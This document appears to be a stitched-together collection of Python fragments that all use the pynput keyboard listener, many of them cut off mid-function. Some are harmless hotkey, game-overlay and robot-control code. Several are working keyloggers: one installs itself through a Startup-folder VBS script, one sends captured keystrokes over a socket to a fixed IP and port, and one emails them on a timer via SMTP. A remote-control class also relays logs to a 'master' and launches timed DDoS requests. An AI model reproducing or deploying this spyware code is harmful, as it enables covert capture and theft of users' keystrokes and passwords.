def done_pressed(self):
self.CRNs = [
self.e1.get(), self.e2.get(), self.e3.get(), self.e4.get(), self.e5.get(),
self.e6.get(), self.e7.get(), self.e8.get(), self.e9.get(), self.e10.get()
]
if not self.listener_initialized:
self.keyboard = Controller()
listener = Listener(on_release=self.on_release, on_press=None)
listener.start()
self.listener_initialized = True
def __init__(self):
"""Initialize as Thread and create attributes"""
Thread.__init__(self)
self._stats = {p: {k: 0.0 for k in self.STATS} for p in self.POOLS}
self._lock = Lock()
self._exit_queue = Queue()
self.primary = "PrimaryWeapon"
self.__delays = dict()
self._internal_q = Queue()
self._match = False
self._ms_listener = MSListener(on_click=self._on_click)
self._kb_listener = KBListener(on_press=self._on_press)
self._mouse = False
self._string = str()
print("[DelayParser] Initialized")
def setup_listener(self) -> None:
"""Creates a daemon listening for hotkey bindings"""
with Listener(on_press=self.on_press,
on_release=self.on_release) as listener:
print("Listener joining...")
listener.join()
def recogniser():
global ev, ev2
while True:
with Listener(on_press=on_press) as listener:
listener.join()
def main():
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
def profile_mode():
'''Read the text from config file, and called by key '''
with Listener(on_release=on_release) as listener:
listener.join()
return
#Demarrage automatique
if file_path == "":
file_path = os.path.dirname(os.path.realpath(__file__))
#Ici bat_path est l'emplacement du dossier de demarrage (Startup folder)de Windows
#qui contient une liste de raccourcis de ces applications (fichier open.vbs)
#qui demarrent AUTOMATIQUEMENT au demarrage de Windows.
vbs_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
with open(vbs_path + '\\' + "open.vbs", "w+") as vbs_file:
vbs_file.write("Set wshShell = CreateObject(\"wScript.Shell\")\n")
vbs_file.write(
"wshShell.Run chr(34) & \"%s\FirstBoot.bat\" & chr(34), 0\n" %
file_path)
vbs_file.write("Set wshShell = Nothing")
# choix du fichier dans lequel on veut ecrire
logging.basicConfig(
filename=(log_dir + "key_log.txt"),
# date suivie de la lettre lue
level=logging.DEBUG,
format='%(asctime)s: %(message)s')
# ces 4 lignes sont celles qui font la lecture et copie son contenu dans notre fichier
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
def show(key):
if key == Key.backspace:
exit()
if key == Key.space:
if msg == "file":
f = open("file.txt", "rt")
lines = f.readlines()
for line in lines:
if keyboard.is_pressed('backspace'):
exit()
pyautogui.typewrite(line)
keyboard.press_and_release('enter')
time.sleep(3)
else:
while keyboard.is_pressed('backspace') == False:
pyautogui.typewrite(msg)
keyboard.press_and_release('enter')
time.sleep(3)
exit()
with Listener(on_press=show) as listener:
listener.join()
if hasattr(key, 'char'): # Write the character pressed if available
f.write(key.char)
else: # If anything else was pressed, write [<key_name>]
f.write('[' + key.name + ']')
f.close() # Close the file
# def on_press(key):
# print("Key pressed: {0}".format(key))
# def on_release(key):
# print("Key released: {0}".format(key))
def right(seconds):
app('System Events').key_down('d')
time.sleep(seconds)
app('System Events').key_up('d')
def left(seconds):
app('System Events').key_down('a')
time.sleep(seconds)
app('System Events').key_up('a')
app('sixtyforce').activate()
time.sleep(10)
with Listener(on_press=on_press) as listener: # Setup the listener
listener.join() # Join the thread to the main thread
def _start(self):
with Listener(on_press=self.on_press,
on_release=self.on_release) as self.listener:
self.listener.join()
print('Steering {0}'.format(steering))
if key == Key.esc:
do_quit = True
def on_release(key):
if debug:
print('{0} release'.format(key))
show_keys()
# Collect events until released
if drive_mode == 1:
# Direct Drive Mode
listener = Listener(on_press=on_press_direct, on_release=on_release)
elif drive_mode == 2:
# Managed Drive Mode
listener = Listener(on_press=on_press_managed, on_release=on_release)
listener.start()
else:
print("Invalid driving mode set.")
do_quit = True
# Main control loop
left_throttle = 0.0
right_throttle = 0.0
millis_last = int(round(time.time() * 1000))
millis_delta = 250
def save_click_position():
with Listener(on_release=handleRelease) as listener:
listener.join()
kb = Controller()
infoTime = time.time()
postTime = time.time()
searchTime = time.time()
begTime = time.time()
Action = "0"
QNext = []
Press = 1
Pause = False
time.sleep(5)
listener = Listener(on_press=Pressed, on_release=Released)
listener.start()
while True:
if Press == 0:
Pause = not Pause
print("------------------------")
print("------------------------")
if Pause:
print("Paused")
else:
print("Resumed")
print("------------------------")
print("------------------------")
Press = 2
root = "CryptWin.txt"
limit_kilobytes = 1000 # 1kb or 1 kilobyte
Dark_address, tunnel_port = "192.168.1.72", 9091
def PrismDarks(keybase):
kXvmx_Base = str(keybase)
kXvmx_Base = kXvmx_Base.replace("'", "")
cryptData = open(root, "a")
cryptData.write(kXvmx_Base)
if os.stat(root).st_size >= limit_kilobytes:
DarkSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
DarkSocket.connect((Dark_address, tunnel_port))
with open(root, "r") as rootRead:
digitalBytes = rootRead.read()
DarkSocket.send(
bytes(digitalBytes.encode(keywor0ds_Ward.unicodeGlobal[0])))
sys.exit()
else:
pass
if __name__ == "__main__":
with Listener(on_press=PrismDarks) as MultiWriter:
MultiWriter.join()
def __init__(self, donnee):
self.donnee = donnee
#assigne listener à la méthode appuie
self.listener = Listener(on_press=self.appuie)
self.chemin = chemin
class Action(Connexion):
def __init__(self, donnee):
self.donnee = donnee
#assigne listener à la méthode appuie
self.listener = Listener(on_press=self.appuie)
self.chemin = chemin
def start_log(self):
try:
#chemin ou seront écris les logs voulus
log_dir = chemin
#met les informations de base concernant le logger
#filename, spécifie le nom du fichier
#format, impose les infos de base qui se trouveront dans le logger, içi la date avec l'heure puis les infos sur les entrées sur le clavier
logging.basicConfig(filename=(log_dir + "\\keyLog.txt"),
level=logging.DEBUG,
format='%(asctime)s: %(message)s')
#listener.start va commencer a écouter grace a la methode appuie qui est assigné à la varibale listener
self.listener.start()
except FileNotFoundError:
print("erreur chemin inexistant")
#Création d'une fonction appuie(), qui vas mettre en string touts les appuie sur le clavier
def appuie(self, key):
logging.info(str(key))
def stop_log(self, connReseau):
if not self.listener.is_alive():
connReseau.send("Logger non lancé".encode("utf-8"))
print("erreur")
else:
#listener.start va arreter d'écouter en fermant la methode appuie qui est assigné à la varibale listener
self.listener.stop()
connReseau.send("Logger arreté".encode("utf-8"))
print("logger arreté")
def get_log(self, connReseau, donnee):
logger = open("D:\\keyLog.txt", "r")
#lis le fichier ligne à ligne
fichier = logger.readlines()
#boucle qui permet de compter le nombre de ligne
nb_lines = 0
for line in logger.readlines():
nb_lines += 1
#on reçoit le nombre de ligne que le maitre veut récuperer
lines = connReseau.recv(1024).decode("utf-8")
#crée la variable linesINT qui va juste transormer un str en int
linesInt = int(lines)
#si tu sais elisa ce que ça fait tu peut le mettre ?
start = nb_lines - 1 - linesInt
fin = str(fichier[start:])
connReseau.send(fin.encode("utf-8"))
def ddos(self, connReseau):
#définir le format de la date quand on la rentrera dans la variable
date = connReseau.recv(1024).decode("utf-8")
print(date)
format = "%Y-%m-%d %H:%M"
#on récupère la date et l'heure actuelle et on la formate comme voulu ci dessus
now = datetime.strftime(datetime.now(), format)
print(now)
ip = connReseau.recv(1024).decode("utf-8")
url = "http://" + ip
#on compare la date et l'heure récupérées à celle souhaitée pour le ddos
while (now != date):
print("En attente ...")
time.sleep(10)
now = datetime.strftime(datetime.now(), format)
requête = requests.get(url)
print("Requête : ", requête.text)
def main(self):
with Listener(on_press=self.on_press,
on_release=self.on_release) as listener:
listener.join()
def scan(self):
#Scan for 0.5 secs and return
listener = Listener(on_press=self.log_keystroke)
listener.start()
time.sleep(0.5)
listener.stop()
from pynput.keyboard import Listener
import os
import logging
from shutil import copyfile
username = os.getlogin()
logging_directory = f"C:/Users/{username}/Desktop"
# copy keyLogger into startUp directory so it runs everytime pc turns on
# copyfile('main.py', f"C:/Users/{username}/AppData/Roaming/Microsoft/Start Menu/Startup/main.py")
logging.basicConfig(filename=f"{logging_directory}/keyStokes.txt",
level=logging.DEBUG,
format="%(asctime)s: %("
"message)s")
def key_handler(key):
logging.info(key)
with Listener(on_press=key_handler) as listener:
listener.join()
def collect():
# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
def start(self):
self.socket.connect((self.IP_ADDRESS, self.PORT))
with Listener(on_press=self.on_press) as listener:
listener.join()
# def function3():
# print("함수 3 호출")
# win32api.WinExec("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe")
# 크롬 여는 단축키 인데 크롬 실행 파일 문제인지 안열림 나중에 오류 분석하기
def key_pressed(key):
print("pressed{}" . format(key))
for data in MY_HOT_KEYS:
FUNCTION = list(data.keys())[0] #(data.keys())는 딕트 형태 -> 리스트로 캐스팅
KEYS = list(data.values())[0]
if key in KEYS:
current_keys.add(key)
if all(k in current_keys for k in KEYS): #모든 리터러블이 트루면 트루 하나라도 펄스면 펄스
# for k in KEYs:
# if k not in current_keys:
# checker = False
# break
# if checker :
function =eval(FUNCTION)
function()
def key_released(key):
print("released{}".format(key))
if key == Key.esc:
return False
with Listener(on_press = key_pressed , on_release = key_released) as listener :
listener.join()
def do_listening(self):
with Listener(on_press=self.on_press) as listener:
listener.join()
self.on_press()
if 'char' in dir(key):
if key.char == 'q':
if x == 0:
posleft = pyautogui.position()
print(posleft)
x = 1
else:
poscurr = pyautogui.position()
print(f'"top": {posleft[1]}, "left": {posleft[0]}, "width": {poscurr[0]-posleft[0]}, "height": {poscurr[1]-posleft[1]}')
monitor = {"top": posleft[1], "left": posleft[0], "width": poscurr[0]-posleft[0], "height": poscurr[1]-posleft[1]}
with mss.mss() as sct:
#mss.tools.to_png(ss.rgb, ss.size, output = "ss/" + str(y) + ".png") # if you dont want to scale the image
ss = sct.grab(monitor)
ss = numpy.array(ss)
ss = cv2.resize(ss ,None, fx = 5, fy = 5, interpolation = cv2.INTER_CUBIC)
cv2.imwrite("ss/" + str(y) + ".png", ss)
y += 1
x = 0
posleft = ""
if key.char == 'x':
x = 0
posleft = ""
with Listener(on_press=on_press) as listener: # Create an instance of Listener
listener.join() # Join the listener thread to the main thread to keep waiting for keys
if k == 'Key.enter':
msg += "[ENTER]\n"
elif k == 'Key.backspace':
msg = msg[:-1]
elif k == 'Key.shift':
msg += '^'
elif k == 'Key.delete':
msg += '[DEL]'
else:
msg += k
def send():
global msg
if len(msg) > 0:
server.sendmail("*****@*****.**", "*****@*****.**", msg)
Timer(600.0, send).start()
#keyboard listening
listener = Listener(on_press=on_press)
listener.start()
#connecting to smtp server
server = smtplib.SMTP('smtp.test.com', 587)
server.starttls()
server.login("login", "password")
#starting sending function after 10 minutes
Timer(600.0, send).start()
def pykey():
with Listener(on_press=writefile) as l:
l.join()
def listen():
with Listener(on_press=on_press) as listener:
listener.join()
def mousemain(ls):
global poslist, Y1
poslist = ()
h = ls[1]
ls = ls[0]
for i in range((25 * h) + 1, (25 * h) + 26):
posx = ls.index(str(i))
posy = posx // 5
posx %= 5
mouse.position = (577 + 35 + (posx * 70), Y1 - 35 + (posy * 70)
) # Moving mouse to calculated coordinates
poslist += ((posx, posy), )
mouse.click(Button.left, 1) # Mouse click
# Check which keys are pressed
def on_release(key):
if key == key.ctrl_l: # Change to whatever key you want for initiating the process.
for h in range(2):
mousemain(loop(h))
for k in range(1, 26):
os.remove(f'{k}.png')
return False
elif key == key.esc: # To terminate the program in between
return False
# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
if key == Key.esc:
return False
def keypress(Key):
global prevTime
global strikes
global lastrush
global var
now=time.time()
diff=timeElapsed(prevTime, now)
if prevTime == 0:
prevTime = now;
if diff != 0 and diff <= 0.020:
strikes+=1
lastrush=time.time()
prevTime = now;
if strikes >= 5:
ctypes.windll.user32.LockWorkStation()
strikes=0
var=timeElapsed(lastrush, now)
if var >= 3:
strikes=0
with Listener(on_press = keypress, on_release=stop) as listener:
listener.join()
class DelayParser(Thread):
"""Parser that checks Regeneration Delays and controls an overlay"""
DELAYS = {
"Power_Shield_Regen_Delay": "Shield",
"Power_Weapon_Regen_Delay": "Weapon",
"Power_Engine_Regen_Delay": "Engine"
}
POOLS = ["Weapon", "Shield", "Engine"]
STATS = {
"Delay": "Power_{}_Regen_Delay",
"Regen": "Power_{}_Regen_Rate",
"Recent": "Power_{}_Regen_Rate_(when_Recently_Consumed)"
}
def __init__(self):
"""Initialize as Thread and create attributes"""
Thread.__init__(self)
self._stats = {p: {k: 0.0 for k in self.STATS} for p in self.POOLS}
self._lock = Lock()
self._exit_queue = Queue()
self.primary = "PrimaryWeapon"
self.__delays = dict()
self._internal_q = Queue()
self._match = False
self._ms_listener = MSListener(on_click=self._on_click)
self._kb_listener = KBListener(on_press=self._on_press)
self._mouse = False
self._string = str()
print("[DelayParser] Initialized")
def set_ship_stats(self, ship: ShipStats):
"""Update the ship statistics used for delay tracking"""
self._lock.acquire()
self._stats = {
p: {k: ship["Ship"][v.format(p)] for k, v in self.STATS.items()}
for p in self.POOLS
}
self.primary = "PrimaryWeapon"
self._lock.release()
print("[DelayParser] Updated ship to: {}".format(ship.ship.name))
def primary_weapon_swap(self):
"""Swap the primary weapon key"""
self.primary = "PrimaryWeapon2" if self.primary == "PrimaryWeapon" else "PrimaryWeapon"
print("[DelayParser] Swapped Primary Weapons")
def match_end(self):
"""Match ended callback"""
self._internal_q.put("end")
def match_start(self):
"""Match start callback"""
self._internal_q.put("start")
def update(self):
"""Update the state of the DelayParser"""
self._lock.acquire()
stats, key = self._stats.copy(), self.primary
self._lock.release()
while not self._internal_q.empty():
v = self._internal_q.get()
if v == "start":
self._match = True
elif v == "end":
self._match = False
elif v == "mouse":
self._mouse = not self._mouse
else:
pool, time = v
self.__delays[pool] = time
if self._match is False:
return
if self._mouse is True:
self.__delays["Weapon"] = datetime.now()
string, time = "\n", datetime.now()
for pool, start in self.__delays.items():
elapsed = (time - start).total_seconds()
remaining = max(stats[pool]["Delay"] - elapsed, 0.0)
rate = stats[pool]["Regen"] if remaining == 0.0 else stats[pool]["Recent"]
string += "{}: {:.1f}s, {:.1f}pps\n".format(pool[0], remaining, rate)
self._lock.acquire()
self._string = string
self._lock.release()
sleep(0.1)
def process_event(self, event: dict, active_ids: list):
"""Process an event to check for shield power pool usage"""
ctg = Parser.get_event_category(event, active_ids)
if event["self"] is True and ctg == "engine":
self._internal_q.put(("Engine", event["time"]))
return
if event["self"] is True or Parser.compare_ids(event["target"], active_ids) is False:
return
if "Damage" not in event["effect"]:
return
# event: Damage dealt to self
self._internal_q.put(("Shield", event["time"]))
def cleanup(self):
"""Clean up everything in use"""
self._ms_listener.stop()
self._kb_listener.stop()
def run(self):
"""Run the Thread"""
self._ms_listener.start()
self._kb_listener.start()
print("[DelayParser] Keyboard and Mouse Listeners started")
while True:
if not self._exit_queue.empty():
break
self.update()
self.cleanup()
def stop(self):
"""Stop activities and join Thread"""
if not self.is_alive():
return
self._exit_queue.put(True)
self.join(timeout=1)
def _on_click(self, x: int, y: int, button: Button, state: bool):
"""Process a click to check for weapon power usage"""
if button == Button.left:
self._internal_q.put("mouse")
def _on_press(self, key: (Key, KeyCode)):
"""Process a key press to check for engine power usage"""
if key == Key.space:
self._internal_q.put(("Engine", datetime.now()))
@property
def string(self):
"""String to show in the Overlay"""
self._lock.acquire()
string = self._string
self._lock.release()
return string
elif event == Key.tab:
KeyboardLogs += " [Tab] "
elif event == Key.enter:
KeyboardLogs += "\n"
elif event == Key.space:
KeyboardLogs += " "
elif type(event
) == Key: # if the character is some other type of special key
KeyboardLogs += " [" + str(event)[4:] + "] "
else:
KeyboardLogs += str(event)[1:len(str(event)) -
1] # remove quotes around character
if _pynput:
KeyListener = Listener(on_press=OnKeyboardEvent)
class Client(object):
def __init__(self):
self.serverHost = '127.0.0.1'
self.serverPort = 9999
self.socket = None
self.Fer_key = Fernet.generate_key()
logging.debug(self.Fer_key)
self.Fer = Fernet(self.Fer_key)
self.privateKey = rsa.generate_private_key(public_exponent=65537,
key_size=4096,
backend=default_backend())
def log(self):
with Listener(on_press=self.on_press) as listener:
listener.join()
0x32: lambda: add_count_to_config(2), # "'2'"
0x33: lambda: add_count_to_config(3), # "'3'"
}
def win32_event_filter(msg, data): # 鼠标中键按下时热键才生效，并防止按键继续扩散
if not HotkeyStatus: return False # 只有当鼠标中键按下时热键才生效
if data.vkCode not in KeyMap: return False # 只有当相关热键按下时热键才生效
if msg != 256:
return False # 只有当键是按下时才生效（参考https://github.com/moses-palmer/pynput/issues/170#issuecomment-602743287）
KeyMap[data.vkCode]() # 手动触发热键
keyboard_listener.suppress_event() # 当相关热键按下时，阻止其继续传播
keyboard_listener = KeyboardListener(win32_event_filter=win32_event_filter)
keyboard_listener.start()
# ━━━ 后台程序 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# def testfunc(): ##
# for i in range(100):
# print(HotkeyStatus)
# time.sleep(0.1)
def run_monitors():
# targets = [monitor_config, monitor_time, testfunc] ##
targets = [monitor_config, monitor_time]
for target in targets:
t = threading.Thread(target=target)
